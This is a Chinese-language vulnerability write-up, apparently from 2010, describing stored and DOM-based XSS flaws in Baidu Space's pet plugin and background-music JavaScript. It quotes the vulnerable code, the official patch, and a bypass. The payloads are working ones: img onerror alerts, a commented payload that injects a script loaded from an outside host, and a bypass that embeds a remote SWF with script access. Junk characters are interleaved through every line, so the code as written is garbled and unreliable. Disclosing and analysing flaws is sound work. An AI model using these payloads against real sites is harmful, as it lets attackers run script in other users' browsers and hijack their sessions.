百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. $ d& C! H" {; I
2 o( M$ l+ `. }* V' e1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. : d& u& n. |, v; B
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 , J% w6 R" ^2 B+ x/ o
/ q' B [& _/ }, U( V7 F将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> : f# R( ^3 M; t! q, @7 [& O7 ?; r
其中BdUtil.insertWBR为
2 G! [& K* H' q2 K: c, l# pfunction(text, step) {
P5 I8 \9 Z j' s( }4 F var textarea = textAreaCache || getContainer(); # A9 B! a1 R4 s* i
if (!textarea) { o5 d* U! D6 ^$ ]8 S" p
return text; : U" Q8 B8 ]- r9 r" V1 K& f
} % }$ V3 n5 I3 q$ @
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
, X3 I- g0 D: m9 n3 A var string = textarea.value; ! R3 M+ x* w$ Q3 G' |
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
$ @. y' D1 i3 C; v, @ var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
1 K7 ~" |( w% X8 n1 p% ? U return result;
6 Q: G8 y+ y% Q, }' B" d" ^} ; `1 [+ `8 v G' h
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. % v+ A2 t% S X2 w4 ?
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 1 j0 c: M( |$ I
# @, a8 @1 k3 N* w二:creatbgmusic() Dom-Xss Bug
# k. [9 P% s, \7 {) S6 a; R百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
0 U1 n# Q" J* v! L) e" J( F+ f2 c+ Z8 m6 d
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: , M6 Z4 m* q- k$ O
; G0 {7 P( ~" W4 j4 F' H
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ; I' Q7 v5 J1 ~' ?# d1 ^' }
//传入的murl赋值到bgmusic1和bgmusic2中 . o, A. {$ l% e2 j1 E
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
' S' v* n$ ^4 \7 H9 D var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; ; F# V" ` m! b2 _. k% R
if (musicnum <= 1) { , K; }5 y4 @% t5 V; ]% z6 p: X
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ; k3 V) m$ G% u6 i% J
} ' P; F) e8 N1 F( ^) o
bgmusic1 += "</OBJECT>"; & }0 F* U/ Q# L6 c7 |- p' m$ ^4 u
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
8 P1 d$ I% n$ N* Y if (musicnum <= 1) { / ^$ b) t6 o5 E X
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ) X" ]+ H$ _" u+ L
}
- W6 C1 ]7 }4 ~. l Z bgmusic2 += "> </EMBED>"; 8 q) u! ^9 `% H0 N# ~' B
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; & Y5 {6 t9 V& Q6 W6 \' _
var bgmus = detectWMP();
# W+ I1 ] M3 n. Z) I U if (functype == "FckMusicHelper") { 1 f8 [! m( s/ q2 v
if (bgmus.installed) {
0 g5 s A3 d- p+ y, h# z0 N. X) T if (bgmus.type == "IE") { ) q2 c4 D* g3 p. H+ b7 |: C
return bgmusic1; 7 g+ @7 q+ d1 x4 K/ t
} else if (bgmus.type == "NS") { % [2 `1 [/ K# I$ t) l
return bgmusic2;
z1 l0 r w# z& Z0 ~# r! g }
: I7 C+ m1 o2 w0 p! {- u } else {
4 q7 Y: h! `8 u return bgmusic3; / Q' ]. ?, c3 T7 V( \
} - m# b" q2 [/ w2 s. D: q
} else { 7 G+ |, k, U- `
if (bgmus.installed) { ' v$ U1 ]1 A, I9 a, z) T6 P2 X
//document.write 直接输出bgmusic变量 导致xss 0 j' _- G9 p8 A) M |
if (bgmus.type == "IE") { & B4 ?# ?" _1 Z( c) T
document.write(bgmusic1); 2 {/ g, O9 n9 ?
} else if (bgmus.type == "NS") {
* O+ r) b' \1 w# _! z. L document.write(bgmusic2);
% f. o- F0 ^5 |. b }
" h) B9 O# ` ^ } else { 6 ?" G) B A3 L# \5 o/ w
document.write(bgmusic3);
H. m8 b0 [! r0 j w0 r) k } # C% {1 b: I) v' G( o d; ^' @
return ""; ) l4 ~) F' `- e8 E
} . i) ]0 a- Q# I
} ' V0 D7 a' _1 E1 g) @6 _$ }9 K
; o* q: s- ?1 R9 H# x3 G在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
; _$ n- Z1 i# x+ i9 z- Z, j
2 Y+ ?4 w' z; H5 m: Qfunction initBlogTextForFCK(){
. M( `5 r! q! P; @//fck init music
" }' Z" {" \ ]9 D, C7 }if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
: P# Y; K9 Y# ~4 k. L% vvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 7 ~2 _ l$ }$ K' m
var isAutoPlay=true; ) G5 B8 b- p+ |6 K3 j6 Q
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 7 v) B; ~ o$ H' t+ I ^. H
var img=imgBox;
0 o; Z, T- T9 z$ H if(img.getAttribute(’rel’)){ ( N2 |4 j. `' i- b7 }5 u: O3 r
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc * s4 V, e$ h! p
var musicDiv = document.createElement("SPAN"); , a4 V4 D8 N0 l# n; {2 f) E
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
2 w+ S+ [! u( W
4 K# D4 R7 }# n3 y( i9 Q h ..........................
9 x0 ^2 O- z# Z * x. M' I/ [5 g7 f/ K0 W: X$ g
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. / @4 C" e. h' ~3 a8 |6 B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
$ }& Y2 r3 R' W2 w7 B$ n! w8 _4 r shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
5 A- n4 L. Q3 u% O1 O5 z musicDiv.innerHTML=shtml; , l) A+ [0 b3 ^. c/ \- q2 |
i--;n--; . t3 B2 B) _$ X" i) N+ k
} $ ]9 F" e3 V" c( Q
} 8 g' ?) x# [ x6 U& c( a
7 v# @) c$ {2 v& s7 }& f) F8 I从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
* C/ V! z( j8 o, K1 E
7 ~ G9 f9 s9 L, C4 R( L! N测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 5 `% `( A$ t+ W2 V+ F
- d# w/ G2 P; P% G
等待官方补丁 b3 [6 {0 K. w5 y
# S0 r6 k7 q+ I1 j. ?update 2010年5月13日 ) ?5 n: }8 ]; J( @
3 T& f# w: w) ?- s7 Z
官方补丁: 2 f6 n/ q; x& `
; H- l, D9 X: I$ R% Q9 t" r! t
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
# @* G* U' t3 v" Z+ X9 x改为: ; M& D7 P3 n- q2 X# r& @
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
, v$ f/ V+ d3 q4 a" F- g4 I$ x m' G9 i7 Q- c2 h, }( ^$ D
update 2010年5月13日 21:50:37 ; V# P! d7 Z6 Y- ?4 J5 I# ]# Q
' o$ _# d8 \7 V8 r' ]4 o
补丁存在漏洞 没有过滤" 可以继续跨:
0 Z9 G' z1 }- o% \. F9 ?7 C/ `$ h8 Z: v6 G! _0 a
NEW POC:
t. j" F7 ]6 F! s3 B( l
& e3 B) _; L$ O. S9 d<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" , t7 L6 _4 q0 R9 i9 m
, c5 C7 X, d& M) z+ Hallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>% x3 B6 W" a& i9 a; {' G% L
" D% B' {% D( E1 e) K |